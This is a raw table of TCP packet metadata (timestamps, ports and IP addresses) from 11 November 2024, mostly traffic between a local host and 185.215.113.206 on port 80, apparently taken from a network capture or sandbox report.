Nov 11, 2024 19:52:22.344794989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.344805956 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.344816923 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.344827890 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.344837904 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.344850063 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.344854116 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.344861984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.344888926 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.344935894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.345056057 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.345076084 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.345132113 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.345136881 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.345148087 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.345154047 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.345195055 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.345195055 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.345236063 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.345249891 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.345261097 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.345272064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.345283031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.345294952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.345313072 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.345313072 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.345330000 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.345633030 CET	49814	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.345678091 CET	443	49814	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.345752001 CET	49814	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.346066952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.346111059 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.346122980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.346158981 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.346188068 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.346189976 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.346201897 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.346211910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.346225023 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.346256971 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.346268892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.346281052 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.346290112 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.346292019 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.346313953 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.346402884 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.347101927 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.347115040 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.347132921 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.347150087 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.347172976 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.347177029 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.347179890 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.347188950 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.347199917 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.347212076 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.347224951 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.347251892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.347264051 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.347268105 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.347268105 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.347296000 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.347326040 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.348016977 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.348057985 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.348061085 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.348069906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.348104954 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.348236084 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.348248005 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.348259926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.348272085 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.348284006 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.348295927 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.348298073 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.348308086 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.348323107 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.348323107 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.348365068 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.349138021 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.349149942 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.349160910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.349175930 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.349188089 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.349198103 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.349204063 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.349215984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.349230051 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.349239111 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.349241018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.349251032 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.349251986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.349318981 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.349318981 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.349569082 CET	49814	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.349584103 CET	443	49814	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.349994898 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.350070000 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.350080967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.350089073 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.350092888 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.350109100 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.350121975 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.350132942 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.350143909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.350143909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.350164890 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.350173950 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.350219965 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.350231886 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.350241899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.350260019 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.350272894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.350298882 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.350941896 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.350996017 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.351001024 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.351068020 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.351139069 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.351150990 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.351161957 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.351197004 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.351197004 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.351212025 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.351224899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.351236105 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.351267099 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.351279020 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.351279020 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.351279020 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.351295948 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.351310015 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.351330996 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.351330996 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.351367950 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.352144957 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.352161884 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.352173090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.352189064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.352201939 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.352212906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.352216959 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.352262020 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.367845058 CET	49815	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.367882013 CET	443	49815	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.368047953 CET	49815	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.368287086 CET	49816	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.368345976 CET	443	49816	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.368392944 CET	49816	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.368868113 CET	49815	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.368882895 CET	443	49815	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.369096041 CET	49816	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.369113922 CET	443	49816	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.399770021 CET	443	49770	18.65.39.28	192.168.2.5
Nov 11, 2024 19:52:22.399841070 CET	443	49770	18.65.39.28	192.168.2.5
Nov 11, 2024 19:52:22.400310993 CET	49770	443	192.168.2.5	18.65.39.28
Nov 11, 2024 19:52:22.407840014 CET	49770	443	192.168.2.5	18.65.39.28
Nov 11, 2024 19:52:22.407856941 CET	443	49770	18.65.39.28	192.168.2.5
Nov 11, 2024 19:52:22.419810057 CET	443	49811	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.419874907 CET	443	49811	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.420164108 CET	49811	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.420300007 CET	49811	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.420300007 CET	49811	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.420311928 CET	443	49811	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.420322895 CET	443	49811	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.422276974 CET	443	49813	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.422333002 CET	443	49813	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.422414064 CET	49813	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.422532082 CET	49813	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.422537088 CET	443	49813	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.422559023 CET	49813	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.422565937 CET	443	49813	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.422691107 CET	49817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.422727108 CET	443	49817	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.422898054 CET	49817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.423058987 CET	49817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.423072100 CET	443	49817	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.423171997 CET	443	49812	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.423230886 CET	443	49812	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.423631907 CET	49812	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.423671007 CET	49812	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.423676014 CET	443	49812	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.423686028 CET	49812	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.423690081 CET	443	49812	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.425072908 CET	443	49810	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.425123930 CET	443	49810	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.425304890 CET	49810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.425725937 CET	49810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.425734043 CET	443	49810	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.425743103 CET	49810	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.425746918 CET	443	49810	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.427514076 CET	49818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.427547932 CET	443	49818	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.428118944 CET	49818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.429426908 CET	49819	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.429450989 CET	443	49819	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.429512024 CET	49819	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.429660082 CET	49820	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.429668903 CET	443	49820	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.429877043 CET	49820	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.429941893 CET	49819	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.429955959 CET	443	49819	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.430047989 CET	49820	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.430058002 CET	443	49820	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.430282116 CET	49818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.430296898 CET	443	49818	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.430432081 CET	49821	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.430459023 CET	443	49821	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.430520058 CET	49821	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.430816889 CET	49821	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.430825949 CET	443	49821	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.432881117 CET	49822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.432888985 CET	443	49822	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.434240103 CET	49822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.434494019 CET	49822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:22.434504032 CET	443	49822	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:22.457509995 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.457529068 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.457581043 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.458386898 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.458446026 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.458458900 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.458463907 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.458477974 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.458488941 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.458499908 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.458503962 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.458539963 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.458539963 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.458614111 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.458626986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.458641052 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.458647966 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.458796978 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.459515095 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459527016 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459539890 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459551096 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459621906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459634066 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459645033 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459647894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.459647894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.459657907 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459692955 CET	49823	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.459708929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.459722996 CET	443	49823	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.459742069 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459754944 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459758997 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.459773064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459785938 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459790945 CET	49823	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.459800959 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459811926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459824085 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459841967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459847927 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459855080 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.459855080 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.459865093 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459876060 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459888935 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459899902 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.459918022 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.459940910 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.459971905 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459984064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.459986925 CET	49824	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.459995985 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460002899 CET	443	49824	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.460007906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460031986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460031986 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460042953 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460055113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460067034 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460078955 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460083008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460083008 CET	49824	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.460083008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460083008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460105896 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460139990 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460158110 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460169077 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460187912 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460199118 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460207939 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460211039 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460222960 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460230112 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460235119 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460247040 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460258961 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460269928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460278988 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460315943 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460315943 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460335970 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460350037 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460362911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460375071 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460387945 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460396051 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460405111 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460417032 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.460434914 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460434914 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460479021 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.460659981 CET	49823	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.460674047 CET	443	49823	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.461209059 CET	49824	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:22.461222887 CET	443	49824	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:22.462476015 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462522984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462534904 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462538958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.462548018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462559938 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462570906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462604046 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.462604046 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.462604046 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.462668896 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.462759972 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462770939 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462783098 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462794065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462809086 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462819099 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462829113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462841034 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462853909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462865114 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462877989 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.462877989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:22.462877989 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.462877989 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:22.462893009 CET	80	49755	185.215.113.206	192.168.2.5
